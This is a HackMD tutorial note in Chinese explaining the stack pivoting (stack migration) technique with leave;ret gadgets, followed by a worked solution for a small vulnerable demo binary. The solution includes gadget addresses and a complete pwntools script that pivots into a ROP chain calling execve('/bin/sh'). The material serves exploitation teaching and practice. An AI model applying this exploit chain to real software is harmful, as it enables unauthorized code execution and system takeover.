Try   HackMD

Stack migration(pivoting)

Author: 堇姬Naup

概念

  • 可輸入的 ROPchain 長度不夠時,可以擴展輸入的方法,將 ROPchain 分好幾次寫在指定的區域,最後再將 stack 移動過去執行
  • 如果找到其他地方有足夠空間放ROP,就可以用較少的gadget數,來將stack搬移至ROP位置,進行ROP

leave

實際上做了兩件事

mov rsp, rbp
pop rbp

方法

leave;ret

  • 透過overflow將rbp填成ROP Chain開始位置address-8
  • return address填入leave;ret 的gadget

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

有一塊可以寫ROP gadget的地方

*0x601090(這塊記憶體開始的位置)
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

stack狀態

*0x10210<-rsp
stack
*0x10200<-rbp
old rbp
ret adress

填入payload

*0x10210<-rsp
AAAAAAAA
*0x10200<-rbp
0x601090(0x601098-0x8)
leave;ret

首先一路執行下來
通常最後會有個

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

leave;ret
而leave的意思是

mov rsp, rbp
pop rbp

所以rsp會變成rbp

AAAAAAAA
*0x10200 <- rbp,rsp
0x601090(0x601098-0x8)
leave;ret

之後pop rbp會讓stack第一個值推入rbp,也就是0x601090
所以rbp會指向那塊記憶體

*0x601090 <- rbp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

之後ret,rsp往下指到leave;ret gadget前面

AAAAAAAA
*0x10200
0x601090(0x601098-0x8)
*01018 <- rsp
leave;ret

接下來rsp繼續往下
在吃到一次leave,rsp會變成rbp,

*0x601090 <- rbp,rsp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

再來pop rbp,rbp指到遙遠的地方0xdeadbeef(總之就是設成這個值)
最後ret,rsp往下指

*0x601090
0xdeadbeef
*0x601098(ROP開始的位置)<-rsp
pop rdi
['/bin/sh']
system

這樣就會開始執行ROP gadget了

題目

checksec

開NX不能寫shellcode

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

然後其實沒開canary

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

source code

#include <stdio.h>\ #include <unistd.h> char name[0x80]; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char s[0x10]; printf("Give me your name: "); read(0, name, 0x80); printf("Give me your ROP: "); read(0, s, 0x20); return 0; }

首先name這塊區域夠大了,應該可以寫ROPgadget,另外s的部份太小了,要用stack migration來改rsp的位置

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

另外最後有leave

  • execve('/bin/sh')
暫存器
rax 0x3b
rdi 要執行的參數值(/bin/sh)
rsi argv(這裡=0)
rdx envp(這裡=0)
gadget address
pop rax ; ret 0x4516c7
pop rdi ; ret 0x40186a
pop rsi ; ret 0x40f40e
pop rdx ; ret 0x40176f
leave ; ret 0x401dd0
syscall 0x4012d3

新rsp address->0x4c3300

name

*0x4c3300
/bin/sh\x00
pop rdi
0x4c3300
pop rax
0x3b
pop rsi
0
pop rdx
0
syscall

s

'A'*0x10
0x4c3300
leave ; ret

這樣就可以讓rsp移到一塊大的記憶體來放ROPgadget,另外把也把/bin/sh放到這塊記憶體開頭這樣就可以抓到了
(可以按照上面的邏輯自己推一遍)

script

from pwn import * context.arch='amd64' a=input('open debug?') if a=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] r=process('./demo_stack_pivoting') ROPvar={ 'pop_rax_ret':0x4516c7, 'pop_rdi_ret':0x40186a, 'pop_rsi_ret':0x40f40e, 'pop_rdx_ret':0x40176f, 'leave_ret':0x401dd0, 'syscall':0x4012d3 } STACKvar={ 'rax_var':0x3b, 'rdi_var':0x4c3300, 'rsi_var':0, 'rdx_var':0, 'shell':b'/bin/sh\x00' } name_payload=flat(STACKvar['shell'], ROPvar['pop_rdi_ret'], STACKvar['rdi_var'], ROPvar['pop_rax_ret'], STACKvar['rax_var'], ROPvar['pop_rsi_ret'], STACKvar['rsi_var'], ROPvar['pop_rdx_ret'], STACKvar['rdx_var'], ROPvar['syscall'] ) s_payload=b'a'*0x10+p64(0x4c3300)+p64(ROPvar['leave_ret']) r.sendlineafter(b'Give me your name: ',name_payload) r.sendlineafter(b'Give me your ROP: ',s_payload) r.interactive()

image

getshell!!!